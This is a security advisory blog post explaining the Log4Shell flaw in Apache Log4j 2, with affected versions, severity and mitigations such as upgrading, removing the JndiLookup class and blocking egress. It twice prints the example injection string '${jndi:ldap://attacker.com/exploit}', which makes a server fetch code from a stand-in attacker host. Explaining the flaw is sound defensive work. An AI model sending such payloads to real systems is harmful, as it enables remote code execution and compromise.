CVE-2021-44228 Explained: Log4Shell, the Most Critical Vulnerability in a Decade
A zero-click, unauthenticated RCE in Apache Log4j 2 that exposed hundreds of millions of Java applications to complete compromise. What it does, who is affected, and how to fix it.
Founder & Cybersecurity Evangelist
CVE-2021-44228, publicly dubbed Log4Shell, was disclosed on December 9, 2021 and immediately triggered one of the largest emergency response efforts in cybersecurity history. The vulnerability exists in Apache Log4j 2, the ubiquitous Java logging library present in virtually every enterprise Java application, cloud platform, and connected device stack on the planet.
The flaw is disarmingly simple: Log4j 2 evaluates special lookup expressions embedded in log messages. An attacker who can get any Log4j-instrumented application to log a crafted string — via a username field, HTTP header, search query, or any other user-controlled input — can trigger an outbound JNDI (Java Naming and Directory Interface) lookup to an attacker-controlled server, which then delivers a malicious Java class that executes on the target with the privileges of the application process.
No authentication is required. No user interaction is required. The attack works remotely across the internet. CVSS scores it at 10.0 — the maximum possible.
What Is CVE-2021-44228 and How Does It Work?
Log4j 2 includes a feature called Message Lookup Substitution that evaluates expressions of the form ${...} found within log messages. This was designed to enrich log output with contextual runtime data — hostnames, environment variables, and so on.
The critical flaw: Log4j 2 also evaluates JNDI lookups of the form ${jndi:ldap://attacker.com/exploit}. When the library processes this string as part of any logged message, it initiates an outbound LDAP connection to the attacker's server. The attacker's LDAP server responds with a reference to a remote Java class. Log4j 2 fetches and instantiates that class, executing arbitrary Java code in the context of the vulnerable application.
Because virtually every component of a modern application generates logs — authentication attempts, API calls, search queries, HTTP headers — the attack surface is enormous. Attackers quickly discovered that injecting the payload into User-Agent headers, X-Forwarded-For headers, usernames, and even DNS hostnames would trigger vulnerable logging calls deep inside the application stack.
Payload Injection
Attacker sends a string containing ${jndi:ldap://attacker.com/exploit} in any user-controlled field — HTTP header, form field, username, search query, or API parameter.
Log4j Processes the String
The vulnerable application logs the input. Log4j 2's Message Lookup Substitution evaluates the embedded JNDI expression.
Outbound JNDI/LDAP Request
Log4j 2 initiates an outbound LDAP connection to the attacker's server to resolve the lookup, egressing through the target's firewall.
Malicious Class Delivered
The attacker's LDAP server responds with a reference to a remote Java class hosted on an attacker-controlled HTTP server.
Remote Code Execution
Log4j 2 fetches and instantiates the malicious Java class. The class constructor executes arbitrary code — typically a reverse shell, backdoor installer, or cryptominer — with the privileges of the application process.
Affected Versions and Systems
CVE-2021-44228 affects Apache Log4j 2 versions 2.0-beta9 through 2.14.1. Log4j 1.x is not affected by this specific vulnerability (though it has other severe unpatched issues and should be considered end-of-life).
The scope of affected systems is staggering. Log4j 2 is embedded in thousands of third-party products including VMware vCenter, Cisco products, Palo Alto Panorama, IBM products, Fortinet FortiGate, Amazon Web Services, Google Cloud, Microsoft Azure, Elasticsearch, Apache Solr, Apache Kafka, and hundreds of enterprise applications.
Any Java application that uses Log4j 2 to log user-controlled data is potentially vulnerable. Because Log4j 2 is often included as a transitive dependency, organizations frequently did not know they were running it.
Severity: CVSS Score and Risk Assessment
CVE-2021-44228 carries a CVSS v3.1 Base Score of 10.0 (Critical) — the maximum possible. Mass exploitation began within 72 hours of public disclosure. Within a week, dozens of threat actor groups — including ransomware operators, cryptocurrency miners, and nation-state APTs from China, Iran, North Korea, and Turkey — were actively scanning and exploiting vulnerable systems at scale. CISA issued Emergency Directive 22-02 requiring all federal agencies to patch or mitigate within days.
“This is the most serious vulnerability I have seen in my decades-long career.”
— Jen Easterly, CISA Director, December 2021
How to Patch and Mitigate CVE-2021-44228
The definitive fix is upgrading Log4j 2 to version 2.17.1 or later (2.12.4 for Java 8, 2.3.2 for Java 7). Apache released multiple successive patches as initial mitigations were found to be incomplete.
Upgrade to Log4j 2.17.1+
The only complete fix. Update dependency management files (pom.xml, build.gradle) to specify Log4j 2.17.1 or later. Force-override transitive dependencies that pull in older versions.
Set log4j2.formatMsgNoLookups=true (temporary)
For systems that cannot immediately upgrade, set the JVM flag -Dlog4j2.formatMsgNoLookups=true. Note: this was bypassed in some configurations and is not a substitute for patching.
Remove the JndiLookup class
Interim measure: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class — removes the vulnerable class from the JAR without a full upgrade.
Block outbound LDAP/RMI at the perimeter
Configure egress firewall rules to block outbound connections on ports 389, 636, 1099 from application servers. This breaks the exploit chain even on unpatched systems.
Update all third-party products
Apply vendor patches from VMware, Cisco, Fortinet, Palo Alto, and all other affected vendors — these are separate from the Log4j library update.
The bottom line
CVE-2021-44228 is the defining vulnerability of the 2020s — a perfect-10 RCE in one of the most widely deployed libraries in software history. If you have not audited your Java application stack for Log4j 2 dependencies and verified upgrade to 2.17.1+, do it now. The vulnerability continues to be actively exploited years after disclosure, particularly against organizations that never completed their remediation.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, weekly, no spam.
Unsubscribe anytime. We never sell your data.
Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals weekly.